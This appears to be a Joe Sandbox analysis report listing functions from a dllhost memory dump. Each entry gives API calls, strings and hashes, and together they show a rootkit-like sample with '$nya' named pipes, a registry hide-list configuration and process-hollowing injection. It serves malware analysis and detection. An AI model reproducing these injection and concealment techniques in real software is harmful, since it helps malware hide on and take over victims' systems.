Instruction Fuzzy Hash: 1B5158B2711A808AEB66DF63F8587EA22A1F78DBC4F804025EF595B764DF38C585C700

Function 0000000140002300 Relevance: 9.1, APIs: 6, Instructions: 82
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 000000014000234F
SetEntriesInAclW.ADVAPI32 ref: 0000000140002397
LocalAlloc.KERNEL32 ref: 00000001400023A7
InitializeSecurityDescriptor.ADVAPI32 ref: 00000001400023BB
SetSecurityDescriptorDacl.ADVAPI32 ref: 00000001400023D2
CreateNamedPipeW.KERNELBASE ref: 0000000140002413

Memory Dump Source

Source File: 00000008.00000002.2183396779.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000008.00000002.2183360407.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183459805.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183564088.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: 37e6648599b0826955785ac87fece2d8239bb794969fe8891e8706d602f244c1
Instruction ID: 08f0d969cdc459eeaae67e0f3491139f795acf93ec6e34b01acc3ed94c40f622
Opcode Fuzzy Hash: 37e6648599b0826955785ac87fece2d8239bb794969fe8891e8706d602f244c1
Instruction Fuzzy Hash: 173169B2214691CAE761CF25F4807DE77A4F748798F40422AFB4947EA8DB78C259CB44

Function 0000000140002A0C Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCpyW.SHLWAPI ref: 0000000140002A3D
StrCatW.SHLWAPI ref: 0000000140002A4B
GetModuleHandleW.KERNEL32 ref: 0000000140002A54
GetCurrentProcess.KERNEL32 ref: 0000000140002A74
K32GetModuleInformation.KERNEL32 ref: 0000000140002A88
CreateFileW.KERNELBASE ref: 0000000140002AB8
CreateFileMappingW.KERNELBASE ref: 0000000140002AE2
MapViewOfFile.KERNELBASE ref: 0000000140002B05
lstrcmpiA.KERNEL32 ref: 0000000140002B5B
VirtualProtect.KERNEL32 ref: 0000000140002B8E
VirtualProtect.KERNEL32 ref: 0000000140002BBE
CloseHandle.KERNELBASE ref: 0000000140002BC7
CloseHandle.KERNEL32 ref: 0000000140002BD0
FreeLibrary.KERNEL32 ref: 0000000140002BD9

Strings

C:\Windows\System32\, xrefs: 0000000140002A2F
.text, xrefs: 0000000140002B54

Memory Dump Source

Source File: 00000008.00000002.2183396779.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000008.00000002.2183360407.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183459805.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183564088.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: FileHandle$CloseCreateModuleProtectVirtual$CurrentFreeInformationLibraryMappingProcessViewlstrcmpi
String ID: .text$C:\Windows\System32\
API String ID: 2721474350-832442975
Opcode ID: c686aa51e377184264062a0a3ec39641cbabcbb6b6338b4f9c9e14a722750aea
Instruction ID: 2da0f49b8f504828cf99bd1c35657877bba6dbaefb57c64c0b3462adf03dc19e
Opcode Fuzzy Hash: c686aa51e377184264062a0a3ec39641cbabcbb6b6338b4f9c9e14a722750aea
Instruction Fuzzy Hash: 59517BB230468086EB62DF16F9587DA73A1FB8CBD5F444625AF4A03BA8DF38C548C704

Function 00000001400036F4 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140002300: AllocateAndInitializeSid.ADVAPI32 ref: 000000014000234F
Part of subcall function 0000000140002300: SetEntriesInAclW.ADVAPI32 ref: 0000000140002397
Part of subcall function 0000000140002300: LocalAlloc.KERNEL32 ref: 00000001400023A7
Part of subcall function 0000000140002300: InitializeSecurityDescriptor.ADVAPI32 ref: 00000001400023BB
Part of subcall function 0000000140002300: SetSecurityDescriptorDacl.ADVAPI32 ref: 00000001400023D2
Part of subcall function 0000000140002300: CreateNamedPipeW.KERNELBASE ref: 0000000140002413

Sleep.KERNEL32 ref: 0000000140003719
ConnectNamedPipe.KERNELBASE ref: 0000000140003726
ReadFile.KERNEL32 ref: 0000000140003749
WriteFile.KERNEL32 ref: 0000000140003777
Sleep.KERNEL32 ref: 0000000140003784
DisconnectNamedPipe.KERNEL32 ref: 000000014000378D

Strings

\\.\pipe\$nya-childproc, xrefs: 0000000140003701
M, xrefs: 000000014000376A

Memory Dump Source

Source File: 00000008.00000002.2183396779.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000008.00000002.2183360407.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183459805.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183564088.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\$nya-childproc
API String ID: 2203880229-802795868
Opcode ID: a9b0775309c1033bdde321130d9dbfa8a5fd9d512a1023e9268893db04bfe7f9
Instruction ID: 5f21e6060fcfdf5e456d3793ca8ca668dea709d71954cc69c9167fab55033164
Opcode Fuzzy Hash: a9b0775309c1033bdde321130d9dbfa8a5fd9d512a1023e9268893db04bfe7f9
Instruction Fuzzy Hash: 0E1179F1208A4082E726EB22F8147EA6760E78DBE0F444225FB5A036F5CF7CC548CB00

Function 0000000140002CB0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140002300: AllocateAndInitializeSid.ADVAPI32 ref: 000000014000234F
Part of subcall function 0000000140002300: SetEntriesInAclW.ADVAPI32 ref: 0000000140002397
Part of subcall function 0000000140002300: LocalAlloc.KERNEL32 ref: 00000001400023A7
Part of subcall function 0000000140002300: InitializeSecurityDescriptor.ADVAPI32 ref: 00000001400023BB
Part of subcall function 0000000140002300: SetSecurityDescriptorDacl.ADVAPI32 ref: 00000001400023D2
Part of subcall function 0000000140002300: CreateNamedPipeW.KERNELBASE ref: 0000000140002413

Sleep.KERNEL32 ref: 0000000140002CD5
ConnectNamedPipe.KERNELBASE ref: 0000000140002CE2
ReadFile.KERNELBASE ref: 0000000140002D05
Sleep.KERNEL32 ref: 0000000140002D26
DisconnectNamedPipe.KERNELBASE ref: 0000000140002D2F

Strings

\\.\pipe\$nya-control, xrefs: 0000000140002CBD

Memory Dump Source

Source File: 00000008.00000002.2183396779.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000008.00000002.2183360407.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183459805.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183564088.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\$nya-control
API String ID: 2071455217-2728758917
Opcode ID: ea5d0e36b259e0d9586660e08200355551478b737e680bb1466d0a5669cd7301
Instruction ID: fae886f8300dcbc0ba88151123110c58f904b6dff6578ae57d5354566521a009
Opcode Fuzzy Hash: ea5d0e36b259e0d9586660e08200355551478b737e680bb1466d0a5669cd7301
Instruction Fuzzy Hash: 6F011AB1214A0482FB16EB23F8547E9A360A79DBE1F154225FB67436F5DF78C888C704

Function 0000000140003634 Relevance: 9.1, APIs: 6, Instructions: 58
memorysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000000014000364F
HeapAlloc.KERNEL32 ref: 0000000140003663
GetProcessHeap.KERNEL32 ref: 000000014000366C
HeapAlloc.KERNEL32 ref: 000000014000367A
K32EnumProcesses.KERNEL32 ref: 0000000140003695
Sleep.KERNEL32 ref: 00000001400036EA

Memory Dump Source

Source File: 00000008.00000002.2183396779.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000008.00000002.2183360407.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183459805.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183564088.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
API String ID: 3676546796-0
Opcode ID: 81151b99d530d65dfa122e6c8ce9ef601985b82c456e08e1a9a7be0ad97868de
Instruction ID: a1b66254d96c7cf11d413aba10b9c6aee428658a90ca8d6027ab0afa1d9e2250
Opcode Fuzzy Hash: 81151b99d530d65dfa122e6c8ce9ef601985b82c456e08e1a9a7be0ad97868de
Instruction Fuzzy Hash: 2C1160B270065196E716DB17F81475A7AA6F789BC1F558128EF4207B78CF3AD884CB40

Function 000000014000200C Relevance: 9.1, APIs: 6, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,?,00000000,0000000140002F50), ref: 0000000140002021
HeapAlloc.KERNEL32(?,?,00000000,0000000140002F50), ref: 0000000140002032

Part of subcall function 0000000140001CF0: GetProcessHeap.KERNEL32 ref: 0000000140001D23
Part of subcall function 0000000140001CF0: HeapAlloc.KERNEL32 ref: 0000000140001D36
Part of subcall function 0000000140001CF0: GetProcessHeap.KERNEL32 ref: 0000000140001D44
Part of subcall function 0000000140001CF0: HeapAlloc.KERNEL32 ref: 0000000140001D55
Part of subcall function 0000000140001CF0: K32EnumProcesses.KERNEL32 ref: 0000000140001D6F
Part of subcall function 0000000140001CF0: OpenProcess.KERNEL32 ref: 0000000140001D9D
Part of subcall function 0000000140001CF0: K32EnumProcessModulesEx.KERNEL32 ref: 0000000140001DCA
Part of subcall function 0000000140001CF0: ReadProcessMemory.KERNEL32 ref: 0000000140001E01
Part of subcall function 0000000140001CF0: CloseHandle.KERNELBASE ref: 0000000140001E46
Part of subcall function 0000000140001CF0: GetProcessHeap.KERNEL32 ref: 0000000140001E58
Part of subcall function 0000000140001CF0: HeapFree.KERNEL32 ref: 0000000140001E66
Part of subcall function 0000000140001CF0: GetProcessHeap.KERNEL32 ref: 0000000140001E6C
Part of subcall function 0000000140001CF0: RtlFreeHeap.NTDLL ref: 0000000140001E7A

OpenProcess.KERNEL32 ref: 0000000140002079
TerminateProcess.KERNEL32 ref: 000000014000208C
CloseHandle.KERNEL32 ref: 0000000140002095
GetProcessHeap.KERNEL32 ref: 00000001400020A5

Memory Dump Source

Source File: 00000008.00000002.2183396779.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000008.00000002.2183360407.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183459805.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183564088.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: HeapProcess$Alloc$CloseEnumFreeHandleOpen$MemoryModulesProcessesReadTerminate
String ID:
API String ID: 1323846700-0
Opcode ID: 9e888eed53e2bb10b5f797a2cff84821bb432324b3c6bbcbdbea6ae691bf0545
Instruction ID: 146a1b11f62a0205da1b5a2207c4e551d66db48d886c31f99c97199126aec534
Opcode Fuzzy Hash: 9e888eed53e2bb10b5f797a2cff84821bb432324b3c6bbcbdbea6ae691bf0545
Instruction Fuzzy Hash: 77114CB1B0564086FB16DF27B84439A66A1AB8DBD4F488028FF0903776EE39C4868704

Function 0000000140002D38 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140002D4C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002D74
Part of subcall function 0000000140002D4C: OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002D84
Part of subcall function 0000000140002D4C: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002D9E
Part of subcall function 0000000140002D4C: LookupPrivilegeValueW.ADVAPI32 ref: 0000000140002DB5
Part of subcall function 0000000140002D4C: AdjustTokenPrivileges.KERNELBASE ref: 0000000140002DED
Part of subcall function 0000000140002D4C: GetLastError.KERNEL32 ref: 0000000140002DF7
Part of subcall function 0000000140002D4C: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002E00
Part of subcall function 0000000140002D4C: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002E29
Part of subcall function 0000000140002D4C: RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002E59
Part of subcall function 0000000140002D4C: RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002E89
Part of subcall function 0000000140002D4C: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002E9D
Part of subcall function 0000000140002D4C: HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002EAB
Part of subcall function 0000000140002D4C: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002EBE
Part of subcall function 0000000140002D4C: HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002ECC

ExitProcess.KERNEL32 ref: 0000000140002D43

Memory Dump Source

Source File: 00000008.00000002.2183396779.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000008.00000002.2183360407.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183459805.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183564088.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Heap$OpenValue$AllocQueryToken$AdjustCloseCurrentErrorExitHandleLastLookupPrivilegePrivileges
String ID:
API String ID: 2472495637-0
Opcode ID: 79b4bc089e26725b3875790e3276540c07806726462858758fa47b4ded48d988
Instruction ID: 466ff6e6ce30b805044d1f2dc35dca8baccd3c328fc793c3ea1e6e53ebee4899
Opcode Fuzzy Hash: 79b4bc089e26725b3875790e3276540c07806726462858758fa47b4ded48d988
Instruction Fuzzy Hash: 15A002F0F2258083EB0AB7B7B85A3DD25B1ABAC781F100416B2024B2B3DE3C48954759

Non-executed Functions

Function 0000000140002434 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 317
injectionthreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 000000014000252A
VirtualAllocEx.KERNEL32 ref: 0000000140002581
WriteProcessMemory.KERNEL32 ref: 00000001400025A9
VirtualProtectEx.KERNEL32 ref: 00000001400025D4
WriteProcessMemory.KERNEL32 ref: 0000000140002613
VirtualProtectEx.KERNEL32 ref: 000000014000265D
VirtualAlloc.KERNEL32 ref: 0000000140002693
GetThreadContext.KERNEL32 ref: 00000001400026B6
WriteProcessMemory.KERNEL32 ref: 00000001400026E1
SetThreadContext.KERNEL32 ref: 0000000140002704
ResumeThread.KERNEL32 ref: 0000000140002717
VirtualAllocEx.KERNEL32 ref: 0000000140002759
WriteProcessMemory.KERNEL32 ref: 0000000140002781
VirtualProtectEx.KERNEL32 ref: 00000001400027AB
WriteProcessMemory.KERNEL32 ref: 00000001400027EA
VirtualProtectEx.KERNEL32 ref: 0000000140002834
VirtualAlloc.KERNEL32 ref: 0000000140002869
Wow64GetThreadContext.KERNEL32 ref: 0000000140002887
WriteProcessMemory.KERNEL32 ref: 00000001400028AC
Wow64SetThreadContext.KERNEL32 ref: 00000001400028CA
OpenProcess.KERNEL32 ref: 00000001400028E6
TerminateProcess.KERNEL32 ref: 00000001400028F6

Part of subcall function 00000001400020CC: GetModuleHandleA.KERNEL32(?,?,00000000,0000000140002C18), ref: 00000001400020DC
Part of subcall function 00000001400020CC: GetProcAddress.KERNEL32(?,?,00000000,0000000140002C18), ref: 00000001400020EF

Strings

@, xrefs: 0000000140002751
h, xrefs: 00000001400024EE
NtUnmapViewOfSection, xrefs: 000000014000253C
RtlGetVersion, xrefs: 000000014000249B

Memory Dump Source

Source File: 00000008.00000002.2183396779.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000008.00000002.2183360407.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183459805.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183564088.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Virtual$MemoryWrite$Thread$AllocContextProtect$Wow64$AddressCreateHandleModuleOpenProcResumeTerminate
String ID: @$NtUnmapViewOfSection$RtlGetVersion$h
API String ID: 1036100660-1371749706
Opcode ID: 062723520bc959b99614c26b60837a5fa848bce833f489094e5110284047cdb9
Instruction ID: fe181f3da7762b1cf8407140d3e190fa013b7b60483d6e0a4c0671c43d788581
Opcode Fuzzy Hash: 062723520bc959b99614c26b60837a5fa848bce833f489094e5110284047cdb9
Instruction Fuzzy Hash: ACD16FB270568187EB65CF63F84479AB7A0F788BC4F044025EB8A47BA4DF78D599CB04

Function 0000000140001274 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 136
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000001400012D1
GetProcessHeap.KERNEL32 ref: 00000001400012DF
HeapAlloc.KERNEL32 ref: 00000001400012F0
RegEnumValueW.ADVAPI32 ref: 000000014000134F
StrCmpIW.SHLWAPI ref: 0000000140001388
StrCmpW.SHLWAPI ref: 0000000140001390
GetProcessHeap.KERNEL32 ref: 00000001400013C7
HeapAlloc.KERNEL32 ref: 00000001400013D5
GetProcessHeap.KERNEL32 ref: 00000001400013F2
HeapFree.KERNEL32 ref: 0000000140001400
lstrlenW.KERNEL32 ref: 0000000140001409
GetProcessHeap.KERNEL32 ref: 0000000140001417
HeapAlloc.KERNEL32 ref: 0000000140001425
StrCpyW.SHLWAPI ref: 0000000140001447
GetProcessHeap.KERNEL32 ref: 000000014000145E
HeapFree.KERNEL32 ref: 000000014000146C

Strings

d, xrefs: 0000000140001312

Memory Dump Source

Source File: 00000008.00000002.2183396779.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000008.00000002.2183360407.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183459805.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183564088.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 3db9478a101194b55b940351d2e6744c1199954fa76c07e8abb2f2f05a3be27a
Instruction ID: cbe0a9e96035c6652df35f1bebe582e7c0167c489293dce8c24ece8bd57d0938
Opcode Fuzzy Hash: 3db9478a101194b55b940351d2e6744c1199954fa76c07e8abb2f2f05a3be27a
Instruction Fuzzy Hash: C35128B2604B8486EB56DF62F4483AA77A1F78CBD5F444124EB4A07B79DF38C555C700

Function 000000014000217C Relevance: 13.6, APIs: 9, Instructions: 100memorycomCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0000000140002192
SysAllocString.OLEAUT32 ref: 00000001400021A2
CoInitializeEx.OLE32 ref: 00000001400021AF
CoInitializeSecurity.OLE32 ref: 00000001400021E6
CoCreateInstance.OLE32 ref: 0000000140002226
VariantInit.OLEAUT32 ref: 0000000140002238
CoUninitialize.OLE32 ref: 00000001400022D2
SysFreeString.OLEAUT32 ref: 00000001400022DB
SysFreeString.OLEAUT32 ref: 00000001400022E4

Memory Dump Source

Source File: 00000008.00000002.2183396779.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000008.00000002.2183360407.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183459805.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183564088.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID:
API String ID: 4184240511-0
Opcode ID: 84ff88ccb10f49b49e4af97301c9a9495f723d3e4f2f51ef83b7847e1ee965a3
Instruction ID: 0e6833bd3eeca7de3220de005558475a35c56d9be5ad7e086776b2a4e8a7938b
Opcode Fuzzy Hash: 84ff88ccb10f49b49e4af97301c9a9495f723d3e4f2f51ef83b7847e1ee965a3
Instruction Fuzzy Hash: 894147B2700A859AE711CF6AE8843DD73B1FB89B89F445225FF0A43A69DF38C159C304

Function 000000014000151C Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140001527
HeapAlloc.KERNEL32 ref: 0000000140001536

Part of subcall function 0000000140001220: GetProcessHeap.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001226
Part of subcall function 0000000140001220: HeapAlloc.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001235
Part of subcall function 0000000140001220: GetProcessHeap.KERNEL32(?,?,00000000,0000000140001544), ref: 000000014000124F
Part of subcall function 0000000140001220: HeapAlloc.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001260

Part of subcall function 0000000140001000: GetProcessHeap.KERNEL32(?,?,00000000,000000014000154C), ref: 0000000140001006
Part of subcall function 0000000140001000: HeapAlloc.KERNEL32(?,?,00000000,000000014000154C), ref: 0000000140001015
Part of subcall function 0000000140001000: GetProcessHeap.KERNEL32(?,?,00000000,000000014000154C), ref: 0000000140001028
Part of subcall function 0000000140001000: HeapAlloc.KERNEL32(?,?,00000000,000000014000154C), ref: 0000000140001037

RegOpenKeyExW.ADVAPI32 ref: 00000001400015A6
RegOpenKeyExW.ADVAPI32 ref: 00000001400015D3
RegCloseKey.ADVAPI32 ref: 00000001400015ED
RegOpenKeyExW.ADVAPI32 ref: 000000014000160D
RegCloseKey.ADVAPI32 ref: 0000000140001628
RegOpenKeyExW.ADVAPI32 ref: 0000000140001648
RegCloseKey.ADVAPI32 ref: 0000000140001663
RegOpenKeyExW.ADVAPI32 ref: 0000000140001683
RegCloseKey.ADVAPI32 ref: 000000014000169E
RegOpenKeyExW.ADVAPI32 ref: 00000001400016BE
RegCloseKey.ADVAPI32 ref: 00000001400016D9
RegOpenKeyExW.ADVAPI32 ref: 00000001400016F9
RegCloseKey.ADVAPI32 ref: 0000000140001714
RegOpenKeyExW.ADVAPI32 ref: 0000000140001734
RegCloseKey.ADVAPI32 ref: 000000014000174F
RegOpenKeyExW.ADVAPI32 ref: 000000014000176F
RegCloseKey.ADVAPI32 ref: 000000014000178A
RegCloseKey.ADVAPI32 ref: 0000000140001794

Part of subcall function 0000000140001274: RegQueryInfoKeyW.ADVAPI32 ref: 00000001400012D1
Part of subcall function 0000000140001274: GetProcessHeap.KERNEL32 ref: 00000001400012DF
Part of subcall function 0000000140001274: HeapAlloc.KERNEL32 ref: 00000001400012F0
Part of subcall function 0000000140001274: RegEnumValueW.ADVAPI32 ref: 000000014000134F
Part of subcall function 0000000140001274: StrCmpIW.SHLWAPI ref: 0000000140001388
Part of subcall function 0000000140001274: GetProcessHeap.KERNEL32 ref: 00000001400013C7
Part of subcall function 0000000140001274: HeapAlloc.KERNEL32 ref: 00000001400013D5
Part of subcall function 0000000140001274: GetProcessHeap.KERNEL32 ref: 00000001400013F2
Part of subcall function 0000000140001274: HeapFree.KERNEL32 ref: 0000000140001400

Strings

startup, xrefs: 00000001400015C9
tcp_local, xrefs: 00000001400016F2
pid, xrefs: 0000000140001606
SOFTWARE\$nya-config, xrefs: 0000000140001586
process_names, xrefs: 0000000140001641
paths, xrefs: 000000014000167C
udp, xrefs: 0000000140001768
service_names, xrefs: 00000001400016B7
tcp_remote, xrefs: 000000014000172D

Memory Dump Source

Source File: 00000008.00000002.2183396779.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000008.00000002.2183360407.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183459805.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183564088.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValue
String ID: SOFTWARE\$nya-config$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 3993315683-3572789727
Opcode ID: 160cb157803c8d75397eda194766d4b99425b2e4efbbed3557b40dfd9c0fc54d
Instruction ID: 5ebcb72c0a3035c4b67d8f00751cefd31434bbf5df89411654f5c91112f76ea3
Opcode Fuzzy Hash: 160cb157803c8d75397eda194766d4b99425b2e4efbbed3557b40dfd9c0fc54d
Instruction Fuzzy Hash: 0171D3B6310A5086EB22EF66F8507D923A4FB88BC8F016125FB4D97A7ADE38C554C744

Function 000000014000104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000001400010B1
RegEnumValueW.ADVAPI32 ref: 0000000140001117
GetProcessHeap.KERNEL32 ref: 000000014000115A
HeapAlloc.KERNEL32 ref: 0000000140001168
GetProcessHeap.KERNEL32 ref: 0000000140001185
HeapFree.KERNEL32 ref: 0000000140001193

Strings

d, xrefs: 00000001400010D6

Memory Dump Source

Source File: 00000008.00000002.2183396779.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000008.00000002.2183360407.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183459805.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183564088.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: e46bc08d923f3710a6f0b6657d2c3335541900ed0314ce9ea7860df7b3fef6c0
Instruction ID: 42b997484051ce9e6daf6bc3104cf1544be02307d9272190f1dec121864cc25c
Opcode Fuzzy Hash: e46bc08d923f3710a6f0b6657d2c3335541900ed0314ce9ea7860df7b3fef6c0
Instruction Fuzzy Hash: E1412AB2214B84C6E765CF62F4447DA77A1F388B98F448129EB8907B68DF38C589CB40

Function 00000001400017A8 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00000001400017DC
RegDeleteKeyW.ADVAPI32 ref: 00000001400017ED
RegEnumKeyExW.ADVAPI32 ref: 000000014000182A
RegCloseKey.ADVAPI32 ref: 000000014000183B
RegDeleteKeyExW.ADVAPI32 ref: 0000000140001858

Strings

SOFTWARE\$nya-config, xrefs: 00000001400017CE, 0000000140001844

Memory Dump Source

Source File: 00000008.00000002.2183396779.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000008.00000002.2183360407.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
